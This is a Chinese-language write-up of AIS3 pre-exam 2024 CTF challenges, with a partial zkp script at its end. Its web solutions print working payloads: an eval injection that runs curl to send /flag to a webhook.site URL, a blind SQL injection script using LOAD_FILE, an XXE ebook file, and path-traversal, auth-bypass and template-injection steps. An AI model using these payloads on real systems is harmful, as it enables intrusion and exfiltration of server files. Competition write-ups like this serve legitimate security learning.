---
# System prepended metadata

title: AIS3 pre exam 2024 - writeup

---

# AIS3 pre exam 2024 - writeup

> Author:堇姬Naup

> Rank 4th

![螢幕擷取畫面 2024-05-27 170154](https://hackmd.io/_uploads/SJ8FIC-NC.png)

# Misc
## Welcome
`ctrl+c ctrl+v`

> AIS3{Welc0me_to_AIS3_PreExam_2o24!}

## Three Dimensional Secret
看封包然後這個看起來很像`3D GCode`，直接用線上工具化出來

![image](https://hackmd.io/_uploads/rk4mi0ZEC.png)

![image](https://hackmd.io/_uploads/B1VKsA-E0.png)

> AIS3{b4d1y_tun3d_PriN73r}

## Quantum Nim Heist

![image](https://hackmd.io/_uploads/SJZhs0WVC.png)

![image](https://hackmd.io/_uploads/B1K3o0bNC.png)

這題我其實不知道怎麼做的，就亂按，choose那邊在第一次後，如果你不輸入任何東西，或是0 1 2也可以過(回去看了source code發現那邊少寫了else)，之後就一直按enter，直到最後一顆，拿走就可以拿到flag

![image](https://hackmd.io/_uploads/r1RMitH40.png)


> AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

## Emoji Console

先用`cat *`來leak source code
![image](https://hackmd.io/_uploads/rJQxTlfEC.png)

```python=

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
    emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
    for key in emoji_table:
        if key in command:
            command = command.replace(key,emoji_table[key])
    return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api')
def api():
    command = request.args.get('command')
    
    if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
        return jsonify({'command':command,'result':'Invalid command'})
    command = translate(command)
    result = os.popen(command+" 2>&1").read()
    return jsonify({'command':command,'result':result})
    

if __name__ == '__main__':
    app.run('0.0.0.0',5000)

{
    "😀": ":D",
    "😁": ":D",
    "😂": ":')",
    "🤣": "XD",
    "😃": ":D",
    "😄": ":D",
    "😅": "':D",
    "😆": "XD",
    "😉": ";)",
    "😊": ":)",
    "😋": ":P",
    "😎": "B)",
    "😍": ":)",
    "😘": ":*",#
    "😗": ":*",#
    "😙": ":*",#
    "😚": ":*",#
    "☺️": ":)",
    "🙂": ":)",
    "🤗": ":)",
    "🤩": ":)",
    "🤔": ":?",#
    "🤨": ":/",#
    "😐": ":|",
    "😑": ":|",
    "😶": ":|",
    "🙄": ":/",
    "😏": ":]",
    "😣": ">:",
    "😥": ":'(",
    "😮": ":o",
    "🤐": ":x",
    "😯": ":o",
    "😪": ":'(",
    "😫": ">:(",
    "😴": "Zzz",
    "😌": ":)",
    "😛": ":P",
    "😜": ";P",
    "😝": "XP",
    "🤤": ":P",
    "😒": ":/",
    "😓": ";/",#
    "😔": ":(",
    "😕": ":/",#
    "🙃": "(:",
    "🤑": "$)",
    "😲": ":O",
    "☹️": ":(",
    "🙁": ":(",
    "😖": ">:(",
    "😞": ":(",
    "😟": ":(",
    "😤": ">:(",
    "😢": ":'(",
    "😭": ":'(",
    "😦": ":(",
    "😧": ">:(",
    "😨": ":O",
    "😩": ">:(",
    "🤯": ":O",
    "😬": ":E",
    "😰": ":(",
    "😱": ":O",
    "🥵": ">:(",
    "🥶": ":(",
    "😳": ":$",
    "🤪": ":P",
    "😵": "X(",
    "🥴": ":P",
    "😠": ">:(",
    "😡": ">:(",
    "🤬": "#$%&!",
    "🤕": ":(",
    "🤢": "X(",
    "🤮": ":P",
    "🤧": ":'(",
    "😇": "O:)",
    "🥳": ":D",
    "🥺": ":'(",
    "🤡": ":o)",
    "🤠": "Y)",
    "🤥": ":L",
    "🤫": ":x",
    "🤭": ":x",
    "🐶": "dog",
    "🐱": "cat",#
    "🐭": "mouse",
    "🐹": "hamster",
    "🐰": "rabbit",
    "🦊": "fox",
    "🐻": "bear",
    "🐼": "panda",
    "🐨": "koala",
    "🐯": "tiger",
    "🦁": "lion",
    "🐮": "cow",
    "🐷": "pig",
    "🐽": "pig nose",
    "🐸": "frog",
    "🐒": "monkey",
    "🐔": "chicken",
    "🐧": "penguin",
    "🐦": "bird",
    "🐤": "baby chick",
    "🐣": "hatching chick",
    "🐥": "front-facing baby chick",
    "🦆": "duck",
    "🦅": "eagle",
    "🦉": "owl",
    "🦇": "bat",
    "🐺": "wolf",
    "🐗": "boar",
    "🐴": "horse",
    "🦄": "unicorn",
    "🐝": "bee",
    "🐛": "bug",
    "🦋": "butterfly",
    "🐌": "snail",
    "🐞": "lady beetle",
    "🐜": "ant",
    "🦟": "mosquito",
    "🦗": "cricket",
    "🕷️": "spider",
    "🕸️": "spider web",
    "🦂": "scorpion",
    "🐢": "turtle",
    "🐍": "python", #
    "🦎": "lizard",
    "🦖": "T-Rex",
    "🦕": "sauropod",
    "🐙": "octopus",
    "🦑": "squid",
    "🦐": "shrimp",
    "🦞": "lobster",
    "🦀": "crab",
    "🐡": "blowfish",
    "🐠": "tropical fish",
    "🐟": "fish",
    "🐬": "dolphin",
    "🐳": "whale",
    "🐋": "whale",
    "🦈": "shark",
    "🐊": "crocodile",
    "🐅": "tiger",
    "🐆": "leopard",
    "🦓": "zebra",
    "🦍": "gorilla",
    "🦧": "orangutan",
    "🦣": "mammoth",
    "🐘": "elephant",
    "🦛": "hippopotamus",
    "🦏": "rhinoceros",
    "🐪": "camel",
    "🐫": "two-hump camel",
    "🦒": "giraffe",
    "🦘": "kangaroo",
    "🦬": "bison",
    "🦥": "sloth",
    "🦦": "otter",
    "🦨": "skunk",
    "🦡": "badger",
    "🐾": "paw prints",
    "◼️": "black square",
    "◻️": "white square",
    "◾": "black medium square",
    "◽": "white medium square",
    "▪️": "black small square",
    "▫️": "white small square",
    "🔶": "large orange diamond",
    "🔷": "large blue diamond",
    "🔸": "small orange diamond",
    "🔹": "small blue diamond",
    "🔺": "triangle",
    "🔻": "triangle",
    "🔼": "triangle",
    "🔽": "triangle",
    "🔘": "circle",
    "⚪": "circle",
    "⚫": "black circle",
    "🟠": "orange circle",
    "🟢": "green circle",
    "🔵": "blue circle",
    "🟣": "purple circle",
    "🟡": "yellow circle",
    "🟤": "brown circle",
    "⭕": "empty circle",
    "🅰️": "A",
    "🅱️": "B",
    "🅾️": "O",
    "ℹ️": "i",
    "🅿️": "P",
    "Ⓜ️": "M",
    "🆎": "AB",
    "🆑": "CL",
    "🆒": "COOL",
    "🆓": "FREE",
    "🆔": "ID",
    "🆕": "NEW",
    "🆖": "NG",
    "🆗": "OK",
    "🆘": "SOS",
    "🆙": "UP",
    "🆚": "VS",
    "㊗️": "祝",
    "㊙️": "秘",
    "🈺": "營",
    "🈯": "指",
    "🉐": "得",
    "🈹": "割",
    "🈚": "無",
    "🈲": "禁",
    "🈸": "申",
    "🈴": "合",
    "🈳": "空",
    "🈵": "滿",
    "🈶": "有",
    "🈷️": "月",
    "🚗": "car",
    "🚕": "taxi",
    "🚙": "SUV",
    "🚌": "bus",
    "🚎": "trolleybus",
    "🏎️": "race car",
    "🚓": "police car",
    "🚑": "ambulance",
    "🚒": "fire engine",
    "🚐": "minibus",
    "🚚": "delivery truck",
    "🚛": "articulated lorry",
    "🚜": "tractor",
    "🛴": "kick scooter",
    "🚲": "bicycle",
    "🛵": "scooter",
    "🏍️": "motorcycle",
    "✈️": "airplane",
    "🚀": "rocket",
    "🛸": "UFO",
    "🚁": "helicopter",
    "🛶": "canoe",
    "⛵": "sailboat",
    "🚤": "speedboat",
    "🛳️": "passenger ship",
    "⛴️": "ferry",
    "🛥️": "motor boat",
    "🚢": "ship",
    "👨": "man",
    "👩": "woman",
    "👶": "baby",
    "🧓": "old man",
    "👵": "old woman",
    "💿": "CD",
    "📀": "DVD",
    "📱": "phone",
    "💻": "laptop",
    "🖥️": "pc",
    "🖨️": "printer",
    "⌨️": "keyboard",
    "🖱️": "mouse",
    "🖲️": "trackball",
    "🕹️": "joystick",
    "🗜️": "clamp",
    "💾": "floppy disk",
    "💽": "minidisc",
    "☎️": "telephone",
    "📟": "pager",
    "📺": "television",
    "📻": "radio",
    "🎙️": "studio microphone",
    "🎚️": "level slider",
    "🎛️": "control knobs",
    "⏰": "alarm clock",
    "🕰️": "mantelpiece clock",
    "⌚": "watch",
    "📡": "satellite antenna",
    "🔋": "battery",
    "🔌": "plug",
    "🚩": "flag",
    "⓿": "0",
    "❶": "1",
    "❷": "2",
    "❸": "3",
    "❹": "4",
    "❺": "5",
    "❻": "6",
    "❼": "7",
    "❽": "8",
    "❾": "9",
    "❿": "10",
    "⭐": "*",
    "➕": "+",
    "➖": "-",
    "✖️": "×",
    "➗": "÷"
}
```

`cat flag`知道flag是directory，要先cd進去

![image](https://hackmd.io/_uploads/ByjSpgM4R.png)

cd 進去後會看到一個python檔案，他會去read flag，執行他就可以讀出flag了(先用`;`分隔，再用`|`來讓後面會被執行，`p:`會被當指令，但會執行錯誤)

![image](https://hackmd.io/_uploads/S1oFplf4A.png)

`cd flag;p:|cat *`

![image](https://hackmd.io/_uploads/HJXvh0-4A.png)

> AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

# Web
## Evil Calculator 

### source code
```python=
from flask import Flask, request, jsonify, render_template

app = Flask(__name__)

@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run("0.0.0.0",5001)
```

### 解法
```
exec('import'+chr(32)+'os;os.system(\"curl'+chr(32)+'https://webhook.site/36d45c0b-dca1-4240-82be-a56d4356a978?a='+'$(cat'+chr(32)+'/flag)'+'\")')
```
基本上就是 `eval()` 可控，然後過濾掉`_`、` `，所以可以用exec bypass下底線，跟用chr(32) bypass掉空格。
然後就是先cat出flag，再用curl將資料送到webhook，就可以拿到flag了

![image](https://hackmd.io/_uploads/HJjjORZE0.png)

![image](https://hackmd.io/_uploads/HkZLY0Z4A.png)

> AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

## It's MyGO!!!!!
這題沒有source code，進去後會發現一個很明顯SQL injection的地方 
`/song?id=`
但不能用`Union`之類的方法，但發現如果用boolean SQL injection來做可以透過回顯來leak`/flag`

如果猜的不對會回顯`No Data`
![image](https://hackmd.io/_uploads/HyH51sr4A.png)

如過對了會正常回顯影片


```
/song?id=4 AND ASCII(SUBSTRING((SELECT LOAD_FILE('/flag')), {}, 1)) ={}--
```

### script
```python=
import requests

for i in range(1,400):
    for j in range(1,300):
        url = "http://chals1.ais3.org:11454/song?id=4%20AND%20ASCII(SUBSTRING((SELECT%20LOAD_FILE(%27/flag%27)),%20{},%201))%20={}--".format(i,j)

        response = requests.get(url,timeout=10)

        if "No Data" in response.text:
            pass
    
        else:
            ascii_code = j 
           

            print(j)

```
讀出FLAG ASCII

```python=
numbers = [
    65, 73, 83, 51, 123, 67, 82, 89, 67, 72, 73, 67, 95, 70, 117, 110, 101, 114, 97, 108, 95,
    240, 159, 152, 173, 240, 159, 142, 184, 240, 159, 152, 173, 240, 159, 142, 184, 240, 159,
    152, 173, 240, 159, 142, 164, 240, 159, 152, 173, 240, 159, 165, 129, 240, 159, 152, 184,
    240, 159, 142, 184, 125
]

byte_data = bytes(numbers)

unicode_string = byte_data.decode('utf-8')

print(unicode_string)
```
轉unicode
~~所以我說為甚麼要演奏春日影~~

> AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}


## Ebook Parser
### source code
```python=
import tempfile
import pathlib
import secrets

from os import getenv, path

import ebookmeta

from flask import Flask, request, jsonify
from flask.helpers import send_from_directory

app = Flask(__name__, static_folder='static/')
app.config['JSON_AS_ASCII'] = False
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024

@app.route('/', methods=["GET"])
def index():
    return send_from_directory('static', 'index.html')


@app.route('/parse', methods=["POST"])
def upload():
    if 'ebook' not in request.files:
        return jsonify({'error': 'No File!'})

    file = request.files['ebook']

    with tempfile.TemporaryDirectory() as directory:
        suffix = pathlib.Path(file.filename).suffix
        fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
        file.save(fp)
        app.logger.info(fp)

        try:
            meta = ebookmeta.get_metadata(fp)
            print(meta)
            return jsonify({'message': "\n".join([
                f"Title: {meta.title}",
                f"Author: {meta.author_list_to_string()}",
                f"Lang: {meta.lang}",
            ])})
        except Exception as e:
            print(e)
            return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500


if __name__ == "__main__":
    port = getenv("PORT", 8888)
    app.run(host="0.0.0.0", port=port)
```

### 解法
`ebookmeta.get_metadata()`在解出資料時，會觸發xxe
xxe -> file:///flag
所以author會顯示出/flag的內容
![image](https://hackmd.io/_uploads/BJLpEpfN0.png)

![image](https://hackmd.io/_uploads/Sy-046MEC.png)


說個趣聞:
https://github.com/dnkorpushov/ebookmeta/issues/16

### solve file
```xml=
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
  <description>
    <title-info>
      <genre>Science Fiction</genre>
      <author>
        <first-name>&xxe;</first-name>
        <last-name>Doe</last-name>
      </author>
      <book-title>The Lost World</book-title>
      <annotation>
        <p>This is an example of a FictionBook XML document.</p>
      </annotation>
      <date>2024</date>
      <lang>en</lang>
      <coverpage>
        <image l:href="cover.jpg" />
      </coverpage>
    </title-info>
    <document-info>
      <author>
        <first-name></first-name>
        <last-name>Doe</last-name>
      </author>
      <program-used>Calibre 5.0</program-used>
      <date>2024-05-26</date>
      <src-url>http://example.com</src-url>
      <id>123456789</id>
      <version>1.0</version>
    </document-info>
  </description>
  <body>
    <title>Chapter 1: The Beginning</title>
    <section>
      <title>Introduction</title>
      <p>In the year 2050, humanity faced its greatest challenge...</p>
    </section>
    <section>
      <title>The Discovery</title>
      <p>It all started with a mysterious signal from deep space...</p>
    </section>
    <section>
      <title>The Journey</title>
      <p>A team of brave astronauts embarked on a perilous journey...</p>
    </section>
  </body>
</FictionBook>
```
## Capoost

### 第一步　LFI leak source code
個人覺得最複雜的一題，首先要發現LFI，來讓這題從黑箱變白箱

- Dockerfile
GET /template/read?name=capoo../../../Dockerfile
```dockerfile=
FROM golang:1.19 as builder

LABEL maintainer="Chumy"

RUN apt install make

COPY src /app
COPY Dockerfile-easy /app/Dockerfile
WORKDIR /app
RUN make clean && make && make readflag && \
    mv bin/readflag /readflag && \
    mv fl4g1337 /fl4g1337 && \
    chown root:root /readflag && \
    chmod 4555 /readflag && \
    chown root:root /fl4g1337 && \
    chmod 400 /fl4g1337 && \
    touch .env && \
    useradd -m -s /bin/bash app && \
    chown -R app:app /app

USER app

ENTRYPOINT ["./bin/capoost"]
```
golang網站，那main應該是->main.go

- main.go
/template/read?name=capoo../../../main.go
```go=
package main
import (
//    "net/http"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/go-errors/errors"

    "capoost/router"
    "capoost/utils/config"
//    "capoost/utils/database"
    "capoost/utils/errutil"
    "capoost/middlewares/auth"
)

func main() {
    if !config.Debug {
        gin.SetMode(gin.ReleaseMode)
    }
    store := cookie.NewStore(config.Secret)
    backend := gin.Default()
    backend.Use(errorHandler)
    backend.Use(gin.CustomRecovery(panicHandler))
    backend.Use(sessions.Sessions(config.Sessionname, store))
    backend.Use(auth.AddMeta)
    router.Init(&backend.RouterGroup)
    backend.Run(":"+string(config.Port))
}

func panicHandler(c *gin.Context, err any) {
    goErr := errors.Wrap(err, 2)
    //errmsg := ""
    //if config.Debug {
    errmsg := goErr.Error()
    //}
    errutil.AbortAndError(c, &errutil.Err{
        Code: 500,
        Msg: "Internal server error",
        Data: errmsg,
    })
}

func errorHandler(c *gin.Context) {
    c.Next()

    for _, e := range c.Errors {
        err := e.Err
        //errmsg := ""
        //if config.Debug {
        errmsg := err.Error()
        //}
        c.JSON(500, gin.H{
            "code": 500,
            "msg": "Internal server error",
            "data": errmsg,
        })
        return
    }
}
```
根據import開始leak所有檔案

- auth.go
name=capoo../../../middlewares/auth/auth.go
```go=
package auth

import (
//    "fmt"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions"

    "capoost/utils/errutil"
    "capoost/models/user"
)

func CheckSignIn(c *gin.Context) {
    if isSignIn, exist := c.Get("isSignIn"); !exist || !isSignIn.(bool) {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 401,
            Msg: "You are not login.",
        })
    }
}

func CheckIsAdmin(c *gin.Context) {
    if isAdmin, exist := c.Get("isAdmin"); !exist || !isAdmin.(bool) {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 405,
            Msg: "You are not admin.",
        })
    }
}

func CheckIsNotAdmin(c *gin.Context) {
    if isAdmin, exist := c.Get("isAdmin"); !(!exist || !isAdmin.(bool)) {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 405,
            Msg: "This method is not available to admin.",
        })
    }
}

func AddMeta(c *gin.Context) {
    session := sessions.Default(c)
    username := session.Get("user")
    if username == nil {
        c.Set("isSignIn", false)
    } else {
        userdata, err := user.GetUser(username.(string))
        c.Set("user", userdata)
        if err != nil {
            c.Set("isSignIn", false)
        } else {
            c.Set("isSignIn", true)
            c.Set("isAdmin", userdata.ID == 1)
        }
    }
}

```
- post.go
?name=capoo../../../router/post/post.go
```go=
package post
import (
    "path"
    "strconv"
    "text/template"
    "os/exec"
    "os"
    "regexp"
    "errors"
    "bytes"
    "strings"

    "github.com/gin-gonic/gin"

    "capoost/middlewares/auth"
    "capoost/models/user"
    "capoost/models/post"
    "capoost/utils/errutil"
    "capoost/utils/database"
)

type page struct {
    Data string `json:"data"`
    Count int `json:"count"`
    Percent int `json:"percent"`
}

var router *gin.RouterGroup

func Init(r *gin.RouterGroup) {
    router = r
    router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create)
    router.GET("/list", auth.CheckSignIn, list)
    router.GET("/read", auth.CheckSignIn, read)
}

func create(c *gin.Context) {
    userdata, _ := c.Get("user")
    postdata := post.Post{
        Owner: userdata.(user.User),
    }
    err := c.ShouldBindJSON(&postdata)
    if err != nil || postdata.Title == "" {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 400,
            Msg: "Invalid Post",
        })
        return
    }
    reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
    postdata.Template = reg.ReplaceAllString(postdata.Template, "")
    if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template))); 
        path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") ||
        errors.Is(err, os.ErrNotExist) {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 400,
            Msg: "Invalid Post",
        })
        return
    }
    postdata.Create()

    c.String(200, "Post success")
}

func list(c *gin.Context) {
    posts, err := post.GetAllPosts()
    if err != nil {
        panic(err)
    }
    c.JSON(200, posts)
}

func read(c *gin.Context) {
    postid, err := strconv.Atoi(c.DefaultQuery("id", "0"))
    if err != nil {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 400,
            Msg: "Invalid ID",
        })
    }
    nowpost, err := post.GetPost(uint(postid))
    if err != nil {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 400,
            Msg: "Invalid ID",
        })
    }
    t := template.New(nowpost.Template)
    if nowpost.Owner.ID == 1 {
        t = t.Funcs(template.FuncMap{
            "G1V3m34Fl4gpL34s3": readflag,
        })
    }
    t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template)))
    b := new(bytes.Buffer)
    if err = t.Execute(b, nowpost.Data); err != nil {
        panic(err)
    }
    nowpost.Count++
    sum := 0
    posts, _ := post.GetAllPosts()
    for _, now := range posts {
        if nowpost.ID == now.ID {
            sum += nowpost.Count
        } else {
            sum += now.Count
        }
    }
    var percent int 
    if sum != 0 {
        percent = (nowpost.Count * 100) / sum
    } else {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 500,
            Msg: "Sum of post count can't be 0",
        })
    }
    if strings.Contains(b.String(), "AIS3") {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 403,
            Msg: "Flag deny",
        })
    }
    nowpage := page{
        Data: b.String(),
        Count: nowpost.Count,
        Percent: percent,
    }
    c.JSON(200, nowpage)
    database.GetDB().Save(&nowpost)
}

func readflag() string {
    out, _ := exec.Command("/readflag").Output()
    return strings.Trim(string(out), " \n\t")
}

```

- template.go
?name=capoo../../../router/template/template.go
```go=
package template
import (
    "os"
    "path"
    "regexp"
    "github.com/gin-gonic/gin"

    "capoost/middlewares/auth"
    "capoost/utils/errutil"
)

var router *gin.RouterGroup

func init() {
    os.MkdirAll("./template", os.ModePerm)
}

func Init(r *gin.RouterGroup) {
    router = r
    router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload)
    router.GET("/list", auth.CheckSignIn, list)
    router.GET("/read", auth.CheckSignIn, read)
}

func upload(c *gin.Context) {
    reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
    template := c.PostForm("template")
    name := reg.ReplaceAllString(c.PostForm("name"), "")
    f, err := os.Create(path.Clean(path.Join("./template", name)))
    if err != nil {
        panic(err)
    }
    _, err = f.WriteString(template)
    if err != nil {
        panic(err)
    }
    c.String(200, "Upload success")
}

func list(c *gin.Context) {
    tmpls, err := os.ReadDir("./template")
    if err != nil {
        panic(err)
    }
    result := make([]string, len(tmpls))
    for i, tmpl := range tmpls {
        result[i] = tmpl.Name()
    }
    c.JSON(200, result)
}

func read(c *gin.Context) {
    name := c.Query("name")
    if name == "" {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 400,
            Msg: "Bad name",
        })
        return
    }
    tmpl, err := os.ReadFile(path.Join("./template", name))
    if err != nil {
        errutil.AbortAndError(c, &errutil.Err{
            Code: 400,
            Msg: "Not exist",
        })
        return
    }
    c.Data(200, "text/plain", tmpl)
    //c.File(path.Join("./template", name))
}
```
- user.go
capoo../../../models/user/user.go
```go=
package user

import (
    "log"
    "fmt"
    "encoding/base64"
    "crypto/rand"

    "capoost/utils/database"
    "capoost/utils/password"
)

type User struct {
    ID uint `gorm:"primaryKey" json:"-"`
    Username string `json:"username"`
    Password password.Password `json:"password"`
}

func init() {
    const adminname = "4dm1n1337"
    database.GetDB().AutoMigrate(&User{})

    if _, err := GetUser(adminname); err == nil {
        return
    }

    buf := make([]byte, 12)
    _, err := rand.Read(buf)
    if err != nil {
        log.Panicf("error while generating random string: %s", err)
    }
    User{
        //ID: 1,
        Username: adminname,
        Password: password.New(base64.StdEncoding.EncodeToString(buf)),
    }.Create()
}

func (a User) Equal(b User) bool {
    return a.Username == b.Username && a.Password == b.Password
}

func (user User) Login() bool {
    if user.Username == "" {
        return false
    }
    if _, err := GetUser(user.Username); err == nil {
        var loginuser User
        result := database.GetDB().Where(&user).First(&loginuser)
        return result.Error == nil
    }
    return user.Create() == nil
}

func GetUser(username string) (User, error) {
    var loginuser User
    result := database.GetDB().Where(&User{
        Username: username,
    }).First(&loginuser)
    return loginuser, result.Error
}

func (user User) Create() error {
    if user.Password == "" {
        return fmt.Errorf("Password can't be empty in create")
    }
    result := database.GetDB().Model(&User{}).Create(&user)
    return result.Error
}
```

以及登入的前端(不用LFI，F12直接看)
```javascript=
<script>
        document.getElementById('loginForm').addEventListener('submit', function(event) {
            event.preventDefault();
            const username = document.getElementById('username').value;
            let password = document.getElementById('password').value;
            if (password === "") {
                password = "empty"
            }

            fetch('/user/login', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ username, password })
            })
            .then(response => {
                if (response.status === 200) {
                    // Redirect to home page or show login success
                    window.location.href = '/';
                } else {
                    // Show error message
                    alert('Login failed');
                }
            })
            .catch(error => console.error('Error:', error));
        });
    </script>
```

基本上這些就夠了

### 第二步 分析source code+湊齊條件
你會發現可以注入模板，但是需要達成三個條件(post.go)
![image](https://hackmd.io/_uploads/r1fjoiNE0.png)


- 只有admin可以創建模板，所以要拿到admin，來注入模板
- 使用該模板創建貼文
- 該貼文的創建者是admin

另外可以觀察出來，如果輸入(一般使用者要登入，隨便輸入一組就會自己註冊了)
帳號: 4dm1n1337
密碼: 空白
就可以登入(這邊我用burpsuite抓下來送才過的了)

![image](https://hackmd.io/_uploads/BJVCsoEVA.png)

直接把session丟到網頁，然後重整就可以看到admin頁面了

![image](https://hackmd.io/_uploads/SJbvho4NA.png)

另外還有個問題，使用模板這部分沒問題，那究竟該如何讓該貼文創建者是admin呢(admin沒辦法創建貼文，只有一般使用者可以創建貼文)

最核心的地方就是這段code了
![image](https://hackmd.io/_uploads/SJgUasNER.png)

如果我在貼文創建請求時，在原有的Json裡面塞入Owner:<名稱>，就可以任意的偽造該貼文的創建者了

![image](https://hackmd.io/_uploads/BJfhajEEA.png)

這邊發現偽造成功
![image](https://hackmd.io/_uploads/H1yJ0jV40.png)

這樣子就湊齊條件了

### 第三部 製作模板
首先這題要透過執行模板來去讀取flag，這裡有看到一個函數
```go=
func readflag() string {
    out, _ := exec.Command("/readflag").Output()
    return strings.Trim(string(out), " \n\t")
}
```
這邊用readflag不行，要call `G1V3m34Fl4gpL34s3`
![image](https://hackmd.io/_uploads/B1hlknE40.png)



而`G1V3m34Fl4gpL34s3`  -> readflag()
用
```
{{G1V3m34Fl4gpL34s3}}
```



就可以呼叫flag了，但是會遇到一個問題，就是它會過濾輸出包含`AIS3`

輸出有`AIS3`會回報403

![image](https://hackmd.io/_uploads/S1JMe3EV0.png)

![image](https://hackmd.io/_uploads/BJ7NynENA.png)

我這邊想到的方法是把`AI`切掉輸出
所以我用
```
{{slice G1V3m34Fl4gpL34s3 2}}
```

### 最後一步 串起來
burpsuite抓登入 -> 修改admin密碼為空並送出 ->更改session後刷新拿到管理頁面 -> 注入模板 ->登出後隨便註冊一個新帳號 -> burpsuite抓創建貼文 -> 加入 `'Owner':'4dm1n1337'`偽造創建者為admin -> 點開該貼文即可看到flag

![image](https://hackmd.io/_uploads/BySBWnVNC.png)

![image](https://hackmd.io/_uploads/SyoEW2N4R.png)

![image](https://hackmd.io/_uploads/rJ2gW244R.png)

結論就是，這卡波笑得很邪惡

> AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}

# Crypto
## babyRSA

### source code
```python=
import random
from Crypto.Util.number import getPrime
from secret import flag
def gcd(a, b):
    while b:
        a, b = b, a % b
    return a

def generate_keypair(keysize):
    p = getPrime(keysize)
    q = getPrime(keysize)
    n = p * q
    phi = (p-1) * (q-1)
    
    e = random.randrange(1, phi)
    g = gcd(e, phi)
    while g != 1:
        e = random.randrange(1, phi)
        g = gcd(e, phi)
    d = pow(e, -1, phi)
    return ((e, n), (d, n))

def encrypt(pk, plaintext):
    key, n = pk
    cipher = [pow(ord(char), key, n) for char in plaintext]
    return cipher

def decrypt(pk, ciphertext):
    key, n = pk
    plain = [chr(pow(char, key, n)) for char in ciphertext]
    return ''.join(plain)

public, private = generate_keypair(512)#public=(e,n) 
encrypted_msg = encrypt(public, flag)
decrypted_msg = decrypt(private, encrypted_msg)

print("Public Key:", public)
print("Encrypted:", encrypted_msg)
# print("Decrypted:", decrypted_msg)
```

### 解法
他是一個字元一個字元加密的，直接暴力搜尋就好了

```python=
n=
e=
c=
def encrypt(pk, char):
    key, n = pk
    cipher = pow(char, key, n)
    return cipher

if __name__ == '__main__':
    for i in c:
        for j in range(256):
            if encrypt((e,n), j) == i:
                print(chr(j), end='')
```

> AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

## zkp
### source code

```python=
#!/bin/python3
import random
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime, isPrime
import signal

def alarm(second):
    # This is just for timeout.
    # It should not do anything else with the challenge.
    def handler(signum, frame):
        print('Timeout!')
        exit()
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(second)

def gen_prime(n):
    while True:
        p = 1
        while p < (1 << (n - 1)) :
            p *= getPrime(5)
        p = p * 2 + 1
        if isPrime(p): break
    return p

def zkp_protocol(n, e, m):
    
    # y = pow(e, m, p) 
    r = random.randrange(n-1)
    
    a = pow(e, r, n)
    print(f'a = {a}')
    
    print('Give me the challenge')
    try:
        c = int(input('c = '))
        w = (c * m + r) % (n-1)
        print(f'w = {w}')
        # you can verify I know the flag with 
        # g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)

    except:
        print('Invalid input.')
    
if __name__ == "__main__":
    alarm(300)
    assert len(flag) == 60
    n = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
    # p is generated by gen_prime(1024)
    e = 5
    y = pow(e, bytes_to_long(flag), n)
    print("""
******************************************************
Have you heard of Zero Knowledge Proof? I cannot give 
you the flag, but I want to show you I know the flag.
So, let me show you with ZKP.
------------------------------------------------------
1) Printe public key.
2) Run ZKP protocol.
3) Bye~
******************************************************
    """)

    for _ in range(3):
        try:
            option = input("Option: ")
            if int(option) == 1:
                print('My public key:')
                print(f'p = {n}')
                print(f'g = {e}')
                print(f'y = {y}')

            elif int(option) == 2:
                zkp_protocol(n, e, bytes_to_long(flag))
            
            else:
                print("Bye~~~~~")
                break
        except:
            print("Something wrong?")
            exit()

```

### 解法
$e^{flag} \equiv n \pmod p$
如果輸入 `1`，那你就可以拿到$e, n ,p$，這是個離散對數問題，看一下$p$，發現他是個smooth，可以用`discrete_log()`這個函數

### script

```python=
from sympy.ntheory import discrete_log
from Crypto.Util.number import long_to_bytes
